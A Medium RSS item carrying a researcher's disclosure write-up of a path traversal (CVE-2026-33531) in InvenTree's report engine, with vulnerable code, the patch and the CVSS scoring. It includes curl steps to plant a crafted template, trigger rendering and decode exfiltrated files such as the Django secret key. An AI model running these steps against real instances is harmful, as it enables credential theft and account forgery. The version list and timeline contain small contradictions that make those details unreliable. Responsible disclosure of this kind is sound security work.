<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alon Akirav on Medium]]></title>
        <description><![CDATA[Stories by Alon Akirav on Medium]]></description>
        <link>https://medium.com/@alonakirav?source=rss-1b9df5b0608a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NU_7dVZedd1MzPMcd7Chfg.png</url>
            <title>Stories by Alon Akirav on Medium</title>
            <link>https://medium.com/@alonakirav?source=rss-1b9df5b0608a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 09:14:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alonakirav/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Found a Path Traversal in InvenTree’s Report Engine — Here’s How It Works (CVE-2026–33531)]]></title>
            <link>https://medium.com/@alonakirav/i-found-a-path-traversal-in-inventrees-report-engine-here-s-how-it-works-cve-2026-33531-02a8cee24d8c?source=rss-1b9df5b0608a------2</link>
            <guid isPermaLink="false">https://medium.com/p/02a8cee24d8c</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cve-2026-33521]]></category>
            <dc:creator><![CDATA[Alon Akirav]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 14:46:10 GMT</pubDate>
            <atom:updated>2026-03-27T14:46:10.542Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a missing two-line boundary check in a Django template tag turned report generation into arbitrary file read.</em></p><h4>Background</h4><p><a href="https://github.com/inventree/InvenTree">InvenTree</a> is a popular open-source inventory management system built on Django. It’s self-hosted, widely deployed in maker spaces, small businesses, and engineering teams — and it ships a powerful report template engine that lets staff users design PDF reports using Django template syntax.</p><p>That template engine is also where I found CVE-2026–33531.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*MiTIJggcxDfL0vhJi-AGnw.jpeg" /></figure><h4>The Vulnerability</h4><p>InvenTree lets staff users upload HTML templates to generate PDF reports. Inside those templates, you can use custom Django template tags — small functions that get called at render time to embed data.</p><p>Three of those tags — encode_svg_image(), asset(), and uploaded_image() — accept a filename argument, resolve it to a full filesystem path, and read the file.</p><p><strong>The problem</strong>: they never check whether the resolved path is still inside the media directory they&#39;re supposed to be scoped to.</p><p>Supply a filename that walks up the directory tree with ../ sequences, and Python&#39;s Path.resolve() will happily hand you a path pointing anywhere on the server filesystem.</p><p><strong>CVE</strong>: <a href="https://www.cve.org/CVERecord?id=CVE-2026-33531">CVE-2026–33531</a></p><p><strong>Advisory</strong>: <a href="https://github.com/inventree/InvenTree/security/advisories/GHSA-rhc5-7c3r-c769">GHSA-rhc5–7c3r-c769</a></p><p><strong>Affected</strong>: InvenTree &lt; 1.2.6 Patched: 1.2.6, 1.3.0</p><h3>The Vulnerable Code</h3><p>All three functions follow the same pattern. Here’s encode_svg_image() in src/backend/InvenTree/report/templatetags/report.py:</p><pre>def encode_svg_image(filename):<br>    full_path = settings.MEDIA_ROOT.joinpath(filename).resolve()<br>    # ← No boundary check here<br>    with open(full_path, &#39;rb&#39;) as f:<br>        data = f.read()<br>    return &#39;data:image/svg+xml;charset=utf-8;base64,&#39; + base64.b64encode(data).decode()</pre><p>And asset():</p><pre>def asset(filename):<br>    full_path = settings.MEDIA_ROOT.joinpath(&#39;report&#39;, &#39;assets&#39;, filename).resolve()<br>    # ← No boundary check here<br>    return f&#39;file://{full_path}&#39;</pre><p>The sequence is always:</p><ol><li>Take user-supplied filename</li><li>Join it onto a base path (MEDIA_ROOT or a subdirectory)</li><li>Call .resolve() — which collapses ../ traversal and follows symlinks</li><li>Open the file or return a file:// URI for WeasyPrint to fetch</li></ol><p>Step 4 happens with no check that full_path is still a descendant of MEDIA_ROOT.</p><p>In the Docker deployment, MEDIA_ROOT is /home/inventree/data/media. That means a filename with enough ../ levels reaches the filesystem root, and from there — any file the application process can read.</p><h3>Attack Flow</h3><pre>[Staff user]<br>     │<br>     ▼<br>POST /api/report/template/<br>Upload a template containing encode_svg_image(&quot;&lt;traversal-path&gt;&quot;)<br>     │<br>     ▼<br>Template stored in database with a pk (e.g. pk=10)<br>     │<br>     ▼<br>[Any authenticated user]<br>     │<br>     ▼<br>POST /api/report/print/<br>{&quot;template&quot;: 10, &quot;items&quot;: [&lt;any valid item pk&gt;]}<br>     │<br>     ▼<br>WeasyPrint renders the template server-side<br>Path.resolve() escapes MEDIA_ROOT<br>Target file is read and base64-encoded into the HTML<br>     │<br>     ▼<br>Generated PDF returned to user<br>     │<br>     ▼<br>Decode the base64 string from the PDF → file contents</pre><p><strong>A key detail</strong>: template <em>creation</em> requires a staff account, but template <em>triggering</em> does not. Any authenticated user can POST to /api/report/print/ with an existing template pk. This means a single compromised staff account is enough to plant the malicious template — after that, the exfiltration step can be performed by any logged-in user.</p><h3>Reproducing It (Conceptual)</h3><p>The steps below describe the technique at a high level. The full PoC is in the <a href="https://github.com/alonaki/InvenTree-Path-Traversal-CVE-2026-33531">GitHub repository</a>.</p><p>Step 1 — Staff creates a template using a crafted tag:</p><pre>curl -X POST http://localhost/api/report/template/ \<br>  -H &quot;Authorization: Token &lt;staff_token&gt;&quot; \<br>  -F &quot;name=Demo&quot; \<br>  -F &quot;model_type=part&quot; \<br>  -F &quot;template=@crafted_template.html&quot; \<br>  -F &quot;enabled=true&quot;<br># Response: {&quot;pk&quot;: 10, ...}</pre><p>The template HTML uses one of the affected tags with a path that traverses outside MEDIA_ROOT. The exact traversal depth depends on how many directory levels separate MEDIA_ROOT from the target file.</p><p>Step 2 — Any authenticated user triggers a print:</p><pre>curl -X POST http://localhost/api/report/print/ \<br>  -H &quot;Authorization: Token &lt;any_auth_token&gt;&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;template&quot;: 10, &quot;items&quot;: [1]}&#39;<br># Response: {&quot;pk&quot;: 42, ...}</pre><p>Step 3 — Download the generated PDF:</p><pre>curl http://localhost/media/data_output/output.pdf \<br>  -H &quot;Authorization: Token &lt;any_auth_token&gt;&quot; \<br>  -o output.pdf<br># HTTP 200</pre><p>Step 4 — Extract the exfiltrated data:</p><pre>pdftotext output.pdf - | grep -o &#39;base64,[A-Za-z0-9+/=]*&#39; \<br>  | cut -d, -f2 | base64 -d</pre><p>The PDF body contains the base64-encoded contents of whatever file the tag resolved to. During testing, this successfully read /etc/passwd, the Django secret_key.txt, and config.yaml (database credentials).</p><h3>Why the Django SECRET_KEY Read Matters</h3><p>Most path traversal findings stop at “you can read /etc/passwd.&quot; This one goes further.</p><p>InvenTree stores its Django SECRET_KEY in /home/inventree/src/backend/InvenTree/secret_key.txt. The Django SECRET_KEY is used to cryptographically sign:</p><ul><li><strong>Session cookies</strong> — an attacker who reads the key can forge a valid session for any user account, including superusers, without knowing any password</li><li><strong>Password reset tokens</strong> — valid reset tokens can be generated for any account without email access</li><li><strong>CSRF tokens</strong></li></ul><p>Reading a single file gives an attacker the ability to impersonate every user on the instance. The exploit doesn&#39;t just read files, it escapes the web application&#39;s security boundary into the OS-level filesystem and enables a full authentication bypass. The vendor scored it lower based on their threat model for staff users, which is a reasonable position given the staff-only prerequisite.</p><h3>The Fix</h3><p>The patch, applied in <a href="https://github.com/inventree/InvenTree/pull/11579">PR #11579</a>, adds a single boundary check after Path.resolve() in all three affected functions:</p><pre>full_path = settings.MEDIA_ROOT.joinpath(filename).resolve()<br>if not full_path.is_relative_to(settings.MEDIA_ROOT):<br>    raise FileNotFoundError(&quot;File Not Found&quot;)</pre><p>Path.is_relative_to() (available since Python 3.9) returns False if the resolved path has escaped the expected directory. That&#39;s it — two lines close the traversal for all three tags.</p><p>The lesson is a familiar one: joining user input onto a base path is not the same as scoping user input to that base path. Path.resolve() is doing exactly what it should — canonicalizing the path. The missing step was checking whether the canonical path was still in bounds.</p><h3>CVSS</h3><pre>CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N</pre><ul><li><strong>Attack Vector:</strong> Network — Exploited via HTTP API</li><li><strong>Attack Complexity:</strong> Low — No race condition or special timing required</li><li><strong>Privileges Required:</strong> High — Staff account required for template creation</li><li><strong>User Interaction:</strong> None — Print trigger requires no victim interaction</li><li><strong>Scope:</strong> Changed — App escapes into OS filesystem (separate security authority)</li><li><strong>Confidentiality:</strong> High — Arbitrary file read; confirmed SECRET_KEY exfiltration</li><li><strong>Integrity:</strong> None — Read-only impact</li><li><strong>Availability:</strong> None — No DoS impact</li></ul><p>The official advisory was published with a lower score reflecting the vendor’s threat model stance on staff-level trust. My proposed vector above reflects the demonstrated impact including the SECRET_KEY read.</p><h3>Affected Versions and Remediation</h3><ul><li><strong>1.2.6:</strong> Vulnerable</li><li><strong>1.2.6:</strong> Patched</li><li><strong>1.3.0:</strong> Patched</li></ul><p>If you run InvenTree in a self-hosted environment, update to 1.2.6 or 1.3.0 immediately. There are no workarounds — the fix is in the application code.</p><h3>Disclosure Timeline</h3><ul><li><strong>2026–03–19:</strong> Vulnerability confirmed with live PoC in local Docker environment</li><li><strong>2026–03–19:</strong> Private disclosure sent</li><li><strong>2026–03–21:</strong> CVSS dispute submitted (Scope + Confidentiality)</li><li><strong>2026–03–20:</strong> Advisory published: GHSA-rhc5–7c3r-c769</li><li><strong>2026–03–20:</strong> CVE assigned: CVE-2026–33531</li></ul><p>Responsible disclosure coordinated through InvenTree’s SECURITY.md process.</p><h3>Resources</h3><ul><li><strong>GitHub Advisory</strong>: <a href="https://github.com/inventree/InvenTree/security/advisories/GHSA-rhc5-7c3r-c769">GHSA-rhc5–7c3r-c769</a></li><li><strong>CVE</strong>: <a href="https://www.cve.org/CVERecord?id=CVE-2026-33531">CVE-2026–33531</a></li><li><strong>Fix PR</strong>: <a href="https://github.com/inventree/InvenTree/pull/11579">#11579</a></li><li><strong>Research repo</strong>: <a href="https://github.com/alonaki/InvenTree-Path-Traversal-CVE-2026-33531">github.com/alonaki/InvenTree-Path-Traversal-CVE-2026–33531</a></li><li><strong>InvenTree Threat Model</strong>: <a href="https://docs.inventree.org/en/latest/concepts/threat_model/">docs.inventree.org</a></li></ul><p>- **InvenTree Threat Model:** [docs.inventree.org]()</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02a8cee24d8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>